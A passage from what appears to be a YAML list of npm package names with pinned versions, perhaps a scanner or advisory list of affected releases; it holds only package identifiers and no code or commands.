        - '@mizzle-dev/orm@0.0.2'
        - '@mparpaillon/connector-parse@1.0.1'
        - '@mparpaillon/imagesloaded@4.1.2'
        - '@mparpaillon/page@1.0.1'
        - '@ntnx/passport-wso2@0.0.3'
        - '@ntnx/t@0.0.101'
        - '@oku-ui/accordion@0.6.2'
        - '@oku-ui/alert-dialog@0.6.2'
        - '@oku-ui/arrow@0.6.2'
        - '@oku-ui/aspect-ratio@0.6.2'
        - '@oku-ui/avatar@0.6.2'
        - '@oku-ui/checkbox@0.6.3'
        - '@oku-ui/collapsible@0.6.2'
        - '@oku-ui/collection@0.6.2'
        - '@oku-ui/dialog@0.6.2'
        - '@oku-ui/direction@0.6.2'
        - '@oku-ui/dismissable-layer@0.6.2'
        - '@oku-ui/focus-guards@0.6.2'
        - '@oku-ui/focus-scope@0.6.2'
        - '@oku-ui/hover-card@0.6.2'
        - '@oku-ui/label@0.6.2'
        - '@oku-ui/menu@0.6.2'
        - '@oku-ui/motion-nuxt@0.2.2'
        - '@oku-ui/motion@0.4.4'
        - '@oku-ui/popover@0.6.2'
        - '@oku-ui/popper@0.6.2'
        - '@oku-ui/portal@0.6.2'
        - '@oku-ui/presence@0.6.2'
        - '@oku-ui/primitive@0.6.2'
        - '@oku-ui/primitives-nuxt@0.3.1'
        - '@oku-ui/primitives@0.7.9'
        - '@oku-ui/progress@0.6.2'
        - '@oku-ui/provide@0.6.2'
        - '@oku-ui/radio-group@0.6.2'
        - '@oku-ui/roving-focus@0.6.2'
        - '@oku-ui/scroll-area@0.6.2'
        - '@oku-ui/separator@0.6.2'
        - '@oku-ui/slider@0.6.2'
        - '@oku-ui/slot@0.6.2'
        - '@oku-ui/switch@0.6.2'
        - '@oku-ui/tabs@0.6.2'
        - '@oku-ui/toast@0.6.2'
        - '@oku-ui/toggle-group@0.6.2'
        - '@oku-ui/toggle@0.6.2'
        - '@oku-ui/toolbar@0.6.2'
        - '@oku-ui/tooltip@0.6.2'
        - '@oku-ui/use-composable@0.6.2'
        - '@oku-ui/utils@0.6.2'
        - '@oku-ui/visually-hidden@0.6.2'
        - '@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode@2.0.5'
        - '@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode@1.1.1'
        - '@orbitgtbelgium/orbit-components@1.2.9'
        - '@orbitgtbelgium/time-slider@1.0.187'
        - '@osmanekrem/bmad@1.0.6'
        - '@osmanekrem/error-handler@1.2.2'
        - '@pergel/cli@0.11.1'
        - '@pergel/module-box@0.6.1'
        - '@pergel/module-graphql@0.6.1'
        - '@pergel/module-ui@0.0.9'
        - '@pergel/nuxt@0.25.5'
        - '@posthog/agent@1.24.1'
        - '@posthog/ai@7.1.2'
        - '@posthog/automatic-cohorts-plugin@0.0.8'
        - '@posthog/bitbucket-release-tracker@0.0.8'
        - '@posthog/cli@0.5.15'
        - '@posthog/clickhouse@1.7.1'
        - '@posthog/core@1.5.6'
        - '@posthog/currency-normalization-plugin@0.0.8'
        - '@posthog/customerio-plugin@0.0.8'
        - '@posthog/databricks-plugin@0.0.8'
        - '@posthog/drop-events-on-property-plugin@0.0.8'
        - '@posthog/event-sequence-timer-plugin@0.0.8'
        - '@posthog/filter-out-plugin@0.0.8'
        - '@posthog/first-time-event-tracker@0.0.8'
        - '@posthog/geoip-plugin@0.0.8'
        - '@posthog/github-release-tracking-plugin@0.0.8'
        - '@posthog/gitub-star-sync-plugin@0.0.8'
        - '@posthog/heartbeat-plugin@0.0.8'
        - '@posthog/hedgehog-mode@0.0.42'
        - '@posthog/icons@0.36.1'
        - '@posthog/ingestion-alert-plugin@0.0.8'
        - '@posthog/intercom-plugin@0.0.8'
        - '@posthog/kinesis-plugin@0.0.8'
        - '@posthog/laudspeaker-plugin@0.0.8'
        - '@posthog/lemon-ui@0.0.1'
        - '@posthog/maxmind-plugin@0.1.6'
        - '@posthog/migrator3000-plugin@0.0.8'
        - '@posthog/netdata-event-processing@0.0.8'
        - '@posthog/nextjs-config@1.5.1'
        - '@posthog/nextjs@0.0.3'
        - '@posthog/nuxt@1.2.9'
        - '@posthog/pagerduty-plugin@0.0.8'
        - '@posthog/piscina@3.2.1'
        - '@posthog/plugin-contrib@0.0.6'
        - '@posthog/plugin-server@1.10.8'
        - '@posthog/plugin-unduplicates@0.0.8'
        - '@posthog/postgres-plugin@0.0.8'
        - '@posthog/react-rrweb-player@1.1.4'
        - '@posthog/rrdom@0.0.31'
        - '@posthog/rrweb-player@0.0.31'
        - '@posthog/rrweb-record@0.0.31'
        - '@posthog/rrweb-replay@0.0.19'
        - '@posthog/rrweb-snapshot@0.0.31'
        - '@posthog/rrweb-utils@0.0.31'
        - '@posthog/rrweb@0.0.31'
        - '@posthog/sendgrid-plugin@0.0.8'
        - '@posthog/siphash@1.1.2'
        - '@posthog/snowflake-export-plugin@0.0.8'
        - '@posthog/taxonomy-plugin@0.0.8'
        - '@posthog/twilio-plugin@0.0.8'
        - '@posthog/twitter-followers-plugin@0.0.8'
        - '@posthog/url-normalizer-plugin@0.0.8'
        - '@posthog/variance-plugin@0.0.8'
        - '@posthog/web-dev-server@1.0.5'
        - '@posthog/wizard@1.18.1'
        - '@posthog/zendesk-plugin@0.0.8'
        - '@postman/aether-icons@2.23.2'
        - '@postman/aether-icons@2.23.3'
        - '@postman/aether-icons@2.23.4'
        - '@postman/csv-parse@4.0.3'
        - '@postman/csv-parse@4.0.4'
        - '@postman/csv-parse@4.0.5'
        - '@postman/final-node-keytar@7.9.1'
        - '@postman/final-node-keytar@7.9.2'
        - '@postman/final-node-keytar@7.9.3'
        - '@postman/mcp-ui-client@5.5.1'
        - '@postman/mcp-ui-client@5.5.2'
        - '@postman/mcp-ui-client@5.5.3'
        - '@postman/node-keytar@7.9.4'
        - '@postman/node-keytar@7.9.5'
        - '@postman/node-keytar@7.9.6'
        - '@postman/pm-bin-linux-x64@1.24.3'
        - '@postman/pm-bin-linux-x64@1.24.4'
        - '@postman/pm-bin-linux-x64@1.24.5'
        - '@postman/pm-bin-macos-arm64@1.24.3'
        - '@postman/pm-bin-macos-arm64@1.24.4'
        - '@postman/pm-bin-macos-arm64@1.24.5'
        - '@postman/pm-bin-macos-x64@1.24.3'
        - '@postman/pm-bin-macos-x64@1.24.4'
        - '@postman/pm-bin-macos-x64@1.24.5'
        - '@postman/pm-bin-windows-x64@1.24.3'
        - '@postman/pm-bin-windows-x64@1.24.4'
        - '@postman/pm-bin-windows-x64@1.24.5'
        - '@postman/postman-collection-fork@4.3.3'
        - '@postman/postman-collection-fork@4.3.4'
        - '@postman/postman-collection-fork@4.3.5'
        - '@postman/postman-mcp-cli@1.0.3'
        - '@postman/postman-mcp-cli@1.0.4'
        - '@postman/postman-mcp-cli@1.0.5'
        - '@postman/postman-mcp-server@2.4.10'
        - '@postman/postman-mcp-server@2.4.11'
        - '@postman/postman-mcp-server@2.4.12'
        - '@postman/pretty-ms@6.1.1'
        - '@postman/pretty-ms@6.1.2'
        - '@postman/pretty-ms@6.1.3'
        - '@postman/secret-scanner-wasm@2.1.2'
        - '@postman/secret-scanner-wasm@2.1.3'
        - '@postman/secret-scanner-wasm@2.1.4'
        - '@postman/tunnel-agent@0.6.5'
        - '@postman/tunnel-agent@0.6.6'
        - '@postman/tunnel-agent@0.6.7'
        - '@postman/wdio-allure-reporter@0.0.7'
        - '@postman/wdio-allure-reporter@0.0.8'
        - '@postman/wdio-allure-reporter@0.0.9'
        - '@postman/wdio-junit-reporter@0.0.4'
        - '@postman/wdio-junit-reporter@0.0.5'
        - '@postman/wdio-junit-reporter@0.0.6'
        - '@pradhumngautam/common-app@1.0.2'
        - '@productdevbook/animejs-vue@0.2.1'
        - '@productdevbook/auth@0.2.2'
        - '@productdevbook/chatwoot@2.0.1'
        - '@productdevbook/motion@1.0.4'
        - '@productdevbook/ts-i18n@1.4.2'
        - '@pruthvi21/use-debounce@1.0.3'
        - '@quick-start-soft/quick-document-translator@1.4.2511142126'
        - '@quick-start-soft/quick-git-clean-markdown@1.4.2511142126'
        - '@quick-start-soft/quick-markdown-compose@1.4.2506300029'
        - '@quick-start-soft/quick-markdown-image@1.4.2511142126'
        - '@quick-start-soft/quick-markdown-print@1.4.2511142126'
        - '@quick-start-soft/quick-markdown-translator@1.4.2509202331'
        - '@quick-start-soft/quick-markdown@1.4.2511142126'
        - '@quick-start-soft/quick-remove-image-background@1.4.2511142126'
        - '@quick-start-soft/quick-task-refine@1.4.2511142126'
        - '@relyt/claude-context-core@0.1.1'
        - '@relyt/claude-context-mcp@0.1.1'
        - '@relyt/mcp-server-relytone@0.0.3'
        - '@sameepsi/sor2@2.0.2'
        - '@sameepsi/sor@1.0.3'
        - '@seezo/sdr-mcp-server@0.0.5'
        - '@seung-ju/next@0.0.2'
        - '@seung-ju/openapi-generator@0.0.4'
        - '@seung-ju/react-hooks@0.0.2'
        - '@seung-ju/react-native-action-sheet@0.2.1'
        - '@silgi/better-auth@0.8.1'
        - '@silgi/drizzle@0.8.4'
        - '@silgi/ecosystem@0.7.6'
        - '@silgi/graphql@0.7.15'
        - '@silgi/module-builder@0.8.8'
        - '@silgi/openapi@0.7.4'
        - '@silgi/permission@0.6.8'
        - '@silgi/ratelimit@0.2.1'
        - '@silgi/scalar@0.6.2'
        - '@silgi/yoga@0.7.1'
        - '@sme-ui/aoma-vevasound-metadata-lib@0.1.3'
        - '@strapbuild/react-native-date-time-picker@2.0.4'
        - '@strapbuild/react-native-perspective-image-cropper-2@0.4.7'
        - '@strapbuild/react-native-perspective-image-cropper-poojan31@0.4.6'
        - '@strapbuild/react-native-perspective-image-cropper@0.4.15'
        - '@suraj_h/medium-common@1.0.5'
        - '@thedelta/eslint-config@1.0.2'
        - '@tiaanduplessis/json@2.0.2'
        - '@tiaanduplessis/json@2.0.3'
        - '@tiaanduplessis/react-progressbar@1.0.1'
        - '@tiaanduplessis/react-progressbar@1.0.2'
        - '@trackstar/angular-trackstar-link@1.0.2'
        - '@trackstar/react-trackstar-link-upgrade@1.1.10'
        - '@trackstar/react-trackstar-link@2.0.21'
        - '@trackstar/test-angular-package@0.0.9'
        - '@trackstar/test-package@1.1.5'
        - '@trefox/sleekshop-js@0.1.6'
        - '@trigo/atrix-acl@4.0.2'
        - '@trigo/atrix-elasticsearch@2.0.1'
        - '@trigo/atrix-mongoose@1.0.2'
        - '@trigo/atrix-orientdb@1.0.2'
        - '@trigo/atrix-postgres@1.0.3'
        - '@trigo/atrix-pubsub@4.0.3'
        - '@trigo/atrix-redis@1.0.2'
        - '@trigo/atrix-soap@1.0.2'
        - '@trigo/atrix-swagger@3.0.1'
        - '@trigo/atrix@7.0.1'
        - '@trigo/bool-expressions@4.1.3'
        - '@trigo/eslint-config-trigo@3.3.1'
        - '@trigo/fsm@3.4.2'
        - '@trigo/hapi-auth-signedlink@1.3.1'
        - '@trigo/jsdt@0.2.1'
        - '@trigo/keycloak-api@1.3.1'
        - '@trigo/node-soap@0.5.4'
        - '@trigo/pathfinder-ui-css@0.1.1'
        - '@trigo/trigo-hapijs@5.0.1'
        - '@trpc-rate-limiter/cloudflare@0.1.4'
        - '@trpc-rate-limiter/hono@0.1.4'
        - '@varsityvibe/api-client@1.3.36'
        - '@varsityvibe/api-client@1.3.37'
        - '@varsityvibe/utils@5.0.6'
        - '@varsityvibe/validation-schemas@0.6.7'
        - '@varsityvibe/validation-schemas@0.6.8'
        - '@viapip/eslint-config@0.2.4'
        - '@vishadtyagi/full-year-calendar@0.1.11'
        - '@voiceflow/alexa-types@2.15.60'
        - '@voiceflow/alexa-types@2.15.61'
        - '@voiceflow/anthropic@0.4.4'
        - '@voiceflow/anthropic@0.4.5'
        - '@voiceflow/api-sdk@3.28.58'
        - '@voiceflow/api-sdk@3.28.59'
        - '@voiceflow/backend-utils@5.0.1'
        - '@voiceflow/backend-utils@5.0.2'
        - '@voiceflow/base-types@2.136.2'
        - '@voiceflow/base-types@2.136.3'
        - '@voiceflow/body-parser@1.21.2'
        - '@voiceflow/body-parser@1.21.3'
        - '@voiceflow/chat-types@2.14.58'
        - '@voiceflow/chat-types@2.14.59'
        - '@voiceflow/circleci-config-sdk-orb-import@0.2.1'
        - '@voiceflow/circleci-config-sdk-orb-import@0.2.2'
        - '@voiceflow/commitlint-config@2.6.1'
        - '@voiceflow/commitlint-config@2.6.2'
        - '@voiceflow/common@8.9.1'
        - '@voiceflow/common@8.9.2'
        - '@voiceflow/default-prompt-wrappers@1.7.3'
        - '@voiceflow/default-prompt-wrappers@1.7.4'
        - '@voiceflow/dependency-cruiser-config@1.8.11'
        - '@voiceflow/dependency-cruiser-config@1.8.12'
        - '@voiceflow/dtos-interact@1.40.1'
        - '@voiceflow/dtos-interact@1.40.2'
        - '@voiceflow/encryption@0.3.2'
        - '@voiceflow/encryption@0.3.3'
        - '@voiceflow/eslint-config@7.16.4'
        - '@voiceflow/eslint-config@7.16.5'
        - '@voiceflow/eslint-plugin@1.6.1'
        - '@voiceflow/eslint-plugin@1.6.2'
        - '@voiceflow/exception@1.10.1'
        - '@voiceflow/exception@1.10.2'
        - '@voiceflow/fetch@1.11.1'
        - '@voiceflow/fetch@1.11.2'
        - '@voiceflow/general-types@3.2.22'
        - '@voiceflow/general-types@3.2.23'
        - '@voiceflow/git-branch-check@1.4.3'
        - '@voiceflow/git-branch-check@1.4.4'
        - '@voiceflow/google-dfes-types@2.17.12'
        - '@voiceflow/google-dfes-types@2.17.13'
        - '@voiceflow/google-types@2.21.12'
        - '@voiceflow/google-types@2.21.13'
        - '@voiceflow/husky-config@1.3.1'
        - '@voiceflow/husky-config@1.3.2'
        - '@voiceflow/logger@2.4.2'
        - '@voiceflow/logger@2.4.3'
        - '@voiceflow/metrics@1.5.1'
        - '@voiceflow/metrics@1.5.2'
        - '@voiceflow/natural-language-commander@0.5.2'
        - '@voiceflow/natural-language-commander@0.5.3'
        - '@voiceflow/nestjs-common@2.75.2'
        - '@voiceflow/nestjs-common@2.75.3'
        - '@voiceflow/nestjs-mongodb@1.3.1'
        - '@voiceflow/nestjs-mongodb@1.3.2'
        - '@voiceflow/nestjs-rate-limit@1.3.2'
        - '@voiceflow/nestjs-rate-limit@1.3.3'
        - '@voiceflow/nestjs-redis@1.3.1'
        - '@voiceflow/nestjs-redis@1.3.2'
        - '@voiceflow/nestjs-timeout@1.3.1'
        - '@voiceflow/nestjs-timeout@1.3.2'
        - '@voiceflow/npm-package-json-lint-config@1.1.1'
        - '@voiceflow/npm-package-json-lint-config@1.1.2'
        - '@voiceflow/openai@3.2.2'
        - '@voiceflow/openai@3.2.3'
        - '@voiceflow/pino-pretty@4.4.1'
        - '@voiceflow/pino-pretty@4.4.2'
        - '@voiceflow/pino@6.11.3'
        - '@voiceflow/pino@6.11.4'
        - '@voiceflow/prettier-config@1.10.1'
        - '@voiceflow/prettier-config@1.10.2'
        - '@voiceflow/react-chat@1.65.3'
        - '@voiceflow/react-chat@1.65.4'
        - '@voiceflow/runtime-client-js@1.17.2'
        - '@voiceflow/runtime-client-js@1.17.3'
        - '@voiceflow/runtime@1.29.1'
        - '@voiceflow/runtime@1.29.2'
        - '@voiceflow/sdk-runtime@1.43.1'
        - '@voiceflow/sdk-runtime@1.43.2'
        - '@voiceflow/secrets-provider@1.9.2'
        - '@voiceflow/secrets-provider@1.9.3'
        - '@voiceflow/semantic-release-config@1.4.1'
        - '@voiceflow/semantic-release-config@1.4.2'
        - '@voiceflow/serverless-plugin-typescript@2.1.7'
        - '@voiceflow/serverless-plugin-typescript@2.1.8'
        - '@voiceflow/slate-serializer@1.7.3'
        - '@voiceflow/slate-serializer@1.7.4'
        - '@voiceflow/stitches-react@2.3.2'
        - '@voiceflow/stitches-react@2.3.3'
        - '@voiceflow/storybook-config@1.2.2'
        - '@voiceflow/storybook-config@1.2.3'
        - '@voiceflow/stylelint-config@1.1.1'
        - '@voiceflow/stylelint-config@1.1.2'
        - '@voiceflow/test-common@2.1.1'
        - '@voiceflow/test-common@2.1.2'
        - '@voiceflow/tsconfig-paths@1.1.4'
        - '@voiceflow/tsconfig-paths@1.1.5'
        - '@voiceflow/tsconfig@1.12.1'
        - '@voiceflow/tsconfig@1.12.2'
        - '@voiceflow/utils-designer@1.74.19'
        - '@voiceflow/utils-designer@1.74.20'
        - '@voiceflow/verror@1.1.4'
        - '@voiceflow/verror@1.1.5'
        - '@voiceflow/vite-config@2.6.2'
        - '@voiceflow/vite-config@2.6.3'
        - '@voiceflow/vitest-config@1.10.2'
        - '@voiceflow/vitest-config@1.10.3'
        - '@voiceflow/voice-types@2.10.58'
        - '@voiceflow/voice-types@2.10.59'
        - '@voiceflow/voiceflow-types@3.32.45'
        - '@voiceflow/voiceflow-types@3.32.46'
        - '@voiceflow/widget@1.7.18'
        - '@voiceflow/widget@1.7.19'
        - '@vucod/email@0.0.3'
        - '@zapier/ai-actions-react@0.1.12'
        - '@zapier/ai-actions-react@0.1.13'
        - '@zapier/ai-actions-react@0.1.14'
        - '@zapier/ai-actions@0.1.18'
        - '@zapier/ai-actions@0.1.19'
        - '@zapier/ai-actions@0.1.20'
        - '@zapier/babel-preset-zapier@6.4.1'
        - '@zapier/babel-preset-zapier@6.4.2'
        - '@zapier/babel-preset-zapier@6.4.3'
        - '@zapier/browserslist-config-zapier@1.0.3'
        - '@zapier/browserslist-config-zapier@1.0.4'
        - '@zapier/browserslist-config-zapier@1.0.5'
        - '@zapier/eslint-plugin-zapier@11.0.3'
        - '@zapier/eslint-plugin-zapier@11.0.4'
        - '@zapier/eslint-plugin-zapier@11.0.5'
        - '@zapier/mcp-integration@3.0.1'
        - '@zapier/mcp-integration@3.0.2'
        - '@zapier/mcp-integration@3.0.3'
        - '@zapier/secret-scrubber@1.1.3'
        - '@zapier/secret-scrubber@1.1.4'
        - '@zapier/secret-scrubber@1.1.5'
        - '@zapier/spectral-api-ruleset@1.9.1'
        - '@zapier/spectral-api-ruleset@1.9.2'
        - '@zapier/spectral-api-ruleset@1.9.3'
        - '@zapier/stubtree@0.1.2'
        - '@zapier/stubtree@0.1.3'
        - '@zapier/stubtree@0.1.4'
        - '@zapier/zapier-sdk@0.15.5'
        - '@zapier/zapier-sdk@0.15.6'
        - '@zapier/zapier-sdk@0.15.7'
        - 'ai-crowl-shield@1.0.7'
        - 'arc-cli-fc@1.0.1'
        - 'asciitranslator@1.0.3'
        - 'asyncapi-preview@1.0.1'
        - 'asyncapi-preview@1.0.2'
        - 'atrix-mongoose@1.0.1'
        - 'atrix@1.0.1'
        - 'automation_model@1.0.491'
        - 'avvvatars-vue@1.1.2'
        - 'axios-builder@1.2.1'
        - 'axios-cancelable@1.0.1'
        - 'axios-cancelable@1.0.2'
        - 'axios-timed@1.0.1'
        - 'axios-timed@1.0.2'
        - 'babel-preset-kinvey-flex-service@0.1.1'
        - 'barebones-css@1.1.3'
        - 'barebones-css@1.1.4'
        - 'benmostyn-frame-print@1.0.1'
        - 'bestgpiocontroller@1.0.10'
        - 'better-auth-nuxt@0.0.10'
        - 'better-queue-nedb@0.1.5'
        - 'bidirectional-adapter@1.2.2'
        - 'bidirectional-adapter@1.2.3'
        - 'bidirectional-adapter@1.2.4'
        - 'bidirectional-adapter@1.2.5'
        - 'blinqio-executions-cli@1.0.41'
        - 'blob-to-base64@1.0.3'
        - 'bool-expressions@0.1.2'
        - 'buffered-interpolation-babylon6@0.2.8'
        - 'bun-plugin-httpfile@0.1.1'
        - 'bytecode-checker-cli@1.0.10'
        - 'bytecode-checker-cli@1.0.11'
        - 'bytecode-checker-cli@1.0.8'
        - 'bytecode-checker-cli@1.0.9'
        - 'bytes-to-x@1.0.1'
        - 'calc-loan-interest@1.0.4'
        - 'capacitor-plugin-apptrackingios@0.0.21'
        - 'capacitor-plugin-purchase@0.1.1'
        - 'capacitor-plugin-scgssigninwithgoogle@0.0.5'
        - 'capacitor-purchase-history@0.0.10'
        - 'capacitor-voice-recorder-wav@6.0.3'
        - 'cbre-flow-common@1.3.1'
        - 'cbre-flow-common@1.3.2'
        - 'ceviz@0.0.5'
        - 'chrome-extension-downloads@0.0.3'
        - 'chrome-extension-downloads@0.0.4'
        - 'claude-token-updater@1.0.3'
        - 'coinmarketcap-api@3.1.2'
        - 'coinmarketcap-api@3.1.3'
        - 'colors-regex@2.0.1'
        - 'command-irail@0.5.4'
        - 'compare-obj@1.1.1'
        - 'compare-obj@1.1.2'
        - 'composite-reducer@1.0.2'
        - 'composite-reducer@1.0.3'
        - 'composite-reducer@1.0.4'
        - 'composite-reducer@1.0.5'
        - 'count-it-down@1.0.1'
        - 'count-it-down@1.0.2'
        - 'cpu-instructions@0.0.14'
        - 'create-director-app@0.1.1'
        - 'create-glee-app@0.2.2'
        - 'create-glee-app@0.2.3'
        - 'create-hardhat3-app@1.1.1'
        - 'create-hardhat3-app@1.1.2'
        - 'create-hardhat3-app@1.1.3'
        - 'create-hardhat3-app@1.1.4'
        - 'create-kinvey-flex-service@0.2.1'
        - 'create-mcp-use-app@0.5.3'
        - 'create-mcp-use-app@0.5.4'
        - 'create-silgi@0.3.1'
        - 'crypto-addr-codec@0.1.9'
        - 'css-dedoupe@0.1.2'
        - 'csv-tool-cli@1.2.1'
        - 'dashboard-empty-state@1.0.3'
        - 'designstudiouiux@1.0.1'
        - 'devstart-cli@1.0.6'
        - 'dialogflow-es@1.1.1'
        - 'dialogflow-es@1.1.2'
        - 'dialogflow-es@1.1.3'
        - 'dialogflow-es@1.1.4'
        - 'discord-bot-server@0.1.2'
        - 'docusaurus-plugin-vanilla-extract@1.0.3'
        - 'dont-go@1.1.2'
        - 'dotnet-template@0.0.3'
        - 'dotnet-template@0.0.4'
        - 'drop-events-on-property-plugin@0.0.2'
        - 'easypanel-sdk@0.3.2'
        - 'electron-volt@0.0.2'
        - 'email-deliverability-tester@1.1.1'
        - 'enforce-branch-name@1.1.3'
        - 'esbuild-plugin-brotli@0.2.1'
        - 'esbuild-plugin-eta@0.1.1'
        - 'esbuild-plugin-httpfile@0.4.1'
        - 'eslint-config-kinvey-flex-service@0.1.1'
        - 'eslint-config-nitpicky@4.0.1'
        - 'eslint-config-trigo@22.0.2'
        - 'eslint-config-zeallat-base@1.0.4'
        - 'ethereum-ens@0.8.1'
        - 'evm-checkcode-cli@1.0.12'
        - 'evm-checkcode-cli@1.0.13'
        - 'evm-checkcode-cli@1.0.14'
        - 'evm-checkcode-cli@1.0.15'
        - 'exact-ticker@0.3.5'
        - 'expo-audio-session@0.2.1'
        - 'expo-router-on-rails@0.0.4'
        - 'express-starter-template@1.0.10'
        - 'expressos@1.1.3'
        - 'fat-fingered@1.0.1'
        - 'fat-fingered@1.0.2'
        - 'feature-flip@1.0.1'
        - 'feature-flip@1.0.2'
        - 'firestore-search-engine@1.2.3'
        - 'fittxt@1.0.2'
        - 'fittxt@1.0.3'
        - 'flapstacks@1.0.1'
        - 'flapstacks@1.0.2'
        - 'flatten-unflatten@1.0.1'
        - 'flatten-unflatten@1.0.2'
        - 'formik-error-focus@2.0.1'
        - 'formik-store@1.0.1'
        - 'frontity-starter-theme@1.0.1'
        - 'fuzzy-finder@1.0.5'
        - 'fuzzy-finder@1.0.6'
        - 'gate-evm-check-code2@2.0.3'
        - 'gate-evm-check-code2@2.0.4'
        - 'gate-evm-check-code2@2.0.5'
        - 'gate-evm-check-code2@2.0.6'
        - 'gate-evm-tools-test@1.0.5'
        - 'gate-evm-tools-test@1.0.6'
        - 'gate-evm-tools-test@1.0.7'
        - 'gate-evm-tools-test@1.0.8'
        - 'gatsby-plugin-antd@2.2.1'
        - 'gatsby-plugin-cname@1.0.1'
        - 'gatsby-plugin-cname@1.0.2'
        - 'generator-meteor-stock@0.1.6'
        - 'generator-ng-itobuz@0.0.15'
        - 'get-them-args@1.3.3'
        - 'github-action-for-generator@2.1.27'
        - 'github-action-for-generator@2.1.28'
        - 'gitsafe@1.0.5'
        - 'go-template@0.1.8'
        - 'go-template@0.1.9'
        - 'gulp-inject-envs@1.2.1'
        - 'gulp-inject-envs@1.2.2'
        - 'haufe-axera-api-client@0.0.1'
        - 'haufe-axera-api-client@0.0.2'
        - 'hope-mapboxdraw@0.1.1'
        - 'hopedraw@1.0.3'
        - 'hover-design-prototype@0.0.5'
        - 'httpness@1.0.2'
        - 'httpness@1.0.3'
        - 'hyper-fullfacing@1.0.3'
        - 'hyperterm-hipster@1.0.7'
        - 'ids-css@1.5.1'
        - 'ids-enterprise-mcp-server@0.0.2'
        - 'ids-enterprise-ng@20.1.6'
        - 'ids-enterprise-typings@20.1.6'
        - 'image-to-uri@1.0.1'
        - 'image-to-uri@1.0.2'
        - 'insomnia-plugin-random-pick@1.0.4'
        - 'invo@0.2.2'
        - 'iron-shield-miniapp@0.0.2'
        - 'ito-button@8.0.3'
        - 'itobuz-angular-auth@8.0.11'
        - 'itobuz-angular-button@8.0.11'
        - 'itobuz-angular@0.0.1'
        - 'jacob-zuma@1.0.1'
        - 'jacob-zuma@1.0.2'
        - 'jaetut-varit-test@1.0.2'
        - 'jan-browser@0.13.1'
        - 'jquery-bindings@1.1.2'
        - 'jquery-bindings@1.1.3'
        - 'jsonsurge@1.0.7'
        - 'just-toasty@1.7.1'
        - 'kill-port@2.0.2'
        - 'kill-port@2.0.3'
        - 'kinetix-default-token-list@1.0.5'
        - 'kinvey-cli-wrapper@0.3.1'
        - 'kinvey-flex-scripts@0.5.1'
        - 'kns-error-code@1.0.8'
        - 'korea-administrative-area-geo-json-util@1.0.7'
        - 'kwami@1.5.10'
        - 'kwami@1.5.9'
        - 'lang-codes@1.0.1'
        - 'lang-codes@1.0.2'
        - 'license-o-matic@1.2.1'
        - 'license-o-matic@1.2.2'
        - 'lint-staged-imagemin@1.3.1'
        - 'lint-staged-imagemin@1.3.2'
        - 'lite-serper-mcp-server@0.2.2'
        - 'lui-vue-test@0.70.9'
        - 'luno-api@1.2.3'
        - 'm25-transaction-utils@1.1.16'
        - 'manual-billing-system-miniapp-api@1.3.1'
        - 'mcp-use@1.4.2'
        - 'mcp-use@1.4.3'
        - 'medusa-plugin-announcement@0.0.3'
        - 'medusa-plugin-logs@0.0.17'
        - 'medusa-plugin-momo@0.0.68'
        - 'medusa-plugin-product-reviews-kvy@0.0.4'
        - 'medusa-plugin-zalopay@0.0.40'
        - 'mod10-check-digit@1.0.1'
        - 'mon-package-react-typescript@1.0.1'
        - 'my-saeed-lib@0.1.1'
        - 'n8n-nodes-tmdb@0.5.1'
        - 'n8n-nodes-vercel-ai-sdk@0.1.7'
        - 'n8n-nodes-viral-app@0.2.5'
        - 'nanoreset@7.0.1'
        - 'nanoreset@7.0.2'
        - 'next-circular-dependency@1.0.2'
        - 'next-circular-dependency@1.0.3'
        - 'next-simple-google-analytics@1.1.1'
        - 'next-simple-google-analytics@1.1.2'
        - 'next-styled-nprogress@1.0.4'
        - 'next-styled-nprogress@1.0.5'
        - 'ngx-useful-swiper-prosenjit@9.0.2'
        - 'ngx-wooapi@12.0.1'
        - 'nitro-graphql@1.5.12'
        - 'nitro-kutu@0.1.1'
        - 'nitrodeploy@1.0.8'
        - 'nitroping@0.1.1'
        - 'normal-store@1.3.1'
        - 'normal-store@1.3.2'
        - 'normal-store@1.3.3'
        - 'normal-store@1.3.4'
        - 'nuxt-keycloak@0.2.2'
        - 'obj-to-css@1.0.2'
        - 'obj-to-css@1.0.3'
        - 'okta-react-router-6@5.0.1'
        - 'open2internet@0.1.1'
        - 'orbit-boxicons@2.1.3'
        - 'orbit-nebula-draw-tools@1.0.10'
        - 'orbit-nebula-editor@1.0.2'
        - 'orbit-soap@0.43.13'
        - 'orchestrix@12.1.2'
        - 'package-tester@1.0.1'
        - 'parcel-plugin-asset-copier@1.1.2'
        - 'parcel-plugin-asset-copier@1.1.3'
        - 'pdf-annotation@0.0.2'
        - 'pergel@0.13.2'
        - 'pergeltest@0.0.25'
        - 'piclite@1.0.1'
        - 'pico-uid@1.0.3'
        - 'pico-uid@1.0.4'
        - 'pkg-readme@1.1.1'
        - 'poper-react-sdk@0.1.2'
        - 'posthog-docusaurus@2.0.6'
        - 'posthog-js@1.297.3'
        - 'posthog-node@4.18.1'
        - 'posthog-node@5.11.3'
        - 'posthog-node@5.13.3'
        - 'posthog-plugin-hello-world@1.0.1'
        - 'posthog-react-native-session-replay@1.2.2'
        - 'posthog-react-native@4.11.1'
        - 'posthog-react-native@4.12.5'
        - 'prime-one-table@0.0.19'
        - 'prompt-eng-server@1.0.18'
        - 'prompt-eng@1.0.50'
        - 'puny-req@1.0.3'
        - 'quickswap-ads-list@1.0.33'
        - 'quickswap-default-staking-list-address@1.0.55'
        - 'quickswap-default-staking-list@1.0.11'
        - 'quickswap-default-token-list@1.5.16'
        - 'quickswap-router-sdk@1.0.1'
        - 'quickswap-sdk@3.0.44'
        - 'quickswap-smart-order-router@1.0.1'
        - 'quickswap-token-lists@1.0.3'
        - 'quickswap-v2-sdk@2.0.1'
        - 'ra-auth-firebase@1.0.3'
        - 'ra-data-firebase@1.0.7'
        - 'ra-data-firebase@1.0.8'
        - 'react-component-taggers@0.1.9'
        - 'react-data-to-export@1.0.1'
        - 'react-element-prompt-inspector@0.1.18'
        - 'react-favic@1.0.2'
        - 'react-hook-form-persist@3.0.1'
        - 'react-hook-form-persist@3.0.2'
        - 'react-jam-icons@1.0.1'
        - 'react-jam-icons@1.0.2'
        - 'react-keycloak-context@1.0.8'
        - 'react-keycloak-context@1.0.9'
        - 'react-library-setup@0.0.6'
        - 'react-linear-loader@1.0.2'
        - 'react-micromodal.js@1.0.1'
        - 'react-micromodal.js@1.0.2'
        - 'react-native-datepicker-modal@1.3.1'
        - 'react-native-datepicker-modal@1.3.2'
        - 'react-native-email@2.1.1'
        - 'react-native-email@2.1.2'
